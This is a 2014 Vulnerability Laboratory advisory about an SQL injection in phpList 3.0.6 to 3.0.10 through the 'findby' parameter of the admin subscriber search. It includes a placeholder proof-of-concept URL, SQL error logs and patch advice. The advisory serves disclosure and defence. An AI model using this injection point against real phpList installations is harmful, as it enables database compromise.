PHPLIST 3.0.6 & 3.0.10 - SQL Injection Vulnerability

[Aerosol]

Document Title:
===============
PHPLIST v3.0.6 & v3.0.10 - SQL Injection Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1358


Release Date:
=============
2014-12-18


Vulnerability Laboratory ID (VL-ID):
====================================
1358


Common Vulnerability Scoring System:
====================================
6.1


Product & Service Introduction:
===============================
phpList is an open source software for managing mailing lists. It is designed for the dissemination of information, such as newsletters, news, 
advertising to list of subscribers. It is written in PHP and uses a MySQL database to store the information. phpList is free and open-source 
software subject to the terms of the GNU General Public License (GPL). Most popular open source newsletter manager. Easy permission marketing. 
Free to download, easy to install and integrate, Versatile and extensible. Over 10,000 downloads a month.

(Copy of the Vendor Homepage: https://www.phplist.com/ )



Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a sql injection vulnerability in the official PHPList v3.0.6 & v3.0.10 web-application.


Vulnerability Disclosure Timeline:
==================================
2014-12-18: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
PHPList Limited
Product: PHPList - Web Application 3.0.6 - 3.0.10


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A sql injection web vulnerability has been discovered in the official PHPLIST v3.0.6 & v3.0.10 open source web-application.
The vulnerability allows an attacker to inject sql commands by usage of a vulnerable value to compromise the application dbms.

The sql injection vulnerability is located in the abo user search engine of the phplist application. Local privileged accounts 
are able to inject own sql commands by usage of vulnerable findby value in the abo user search module. A successful attack requires 
to manipulate a GET method request with vulnerable findby value. The injection is a basic order by sql injection that allows to 
compromise the web-application.

The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the application-side web vulnerability requires a low privileged web-application user account and no user interaction.
Successful exploitation of the security vulnerability result in web-application and database management system compromise.

Request Method(s):
                [+] GET

Vulnerable Module(s):
                [+] Abonnenten suchen > Abonnenten finden > Abonnenten finden

Vulnerable Parameter(s):
                [+] findby


Proof of Concept (PoC):
=======================
The sql injection web vulnerability can be exploited by remote attackers with privileged application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.


PoC: Abonnenten suchen > Abonnenten finden > Abonnenten finden
http://phplist.127.0.0.1:8080/lists/admin/?page=users&start=0&find=1&findby=-1'[SQL INJECTION VULNERABILITY!]--

--- SQL Error Session Logs ---
Database error 1064 while doing query 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' '' at line 1
Database error 1064 while doing query 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 
'phplist_user_user.confirmed from phplist_user_user where limit 0,50' at line 1
-
Database error 1054 while doing query Unknown column '10' in 'order clause' Database error 1064 while doing query You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Database error 1064 while doing query You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
Database error 1064 while doing query You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right syntax to use near 
'phplist_user_user.confirmed from phplist_user_user where limit 0,50' at line 1


Reference(s):
http://phplist.127.0.0.1:8080/lists/
http://phplist.127.0.0.1:8080/lists/admin/
http://phplist.127.0.0.1:8080/lists/admin/?page=users&start=0
http://phplist.127.0.0.1:8080/lists/admin/?page=users&start=0&find=1&findby=1


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the findby parameter in the abo user search module. Encode and parse the input values to prevent sql injection attacks. 
Use a prepared statement to secure the point were the app communicates with the local dbms. Disallow that php code errors becomes visible - error(0). 


Security Risk:
==============
The security risk of the sql injection web vulnerability in the findby value of the abo user search module is estimated as high.


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]

Source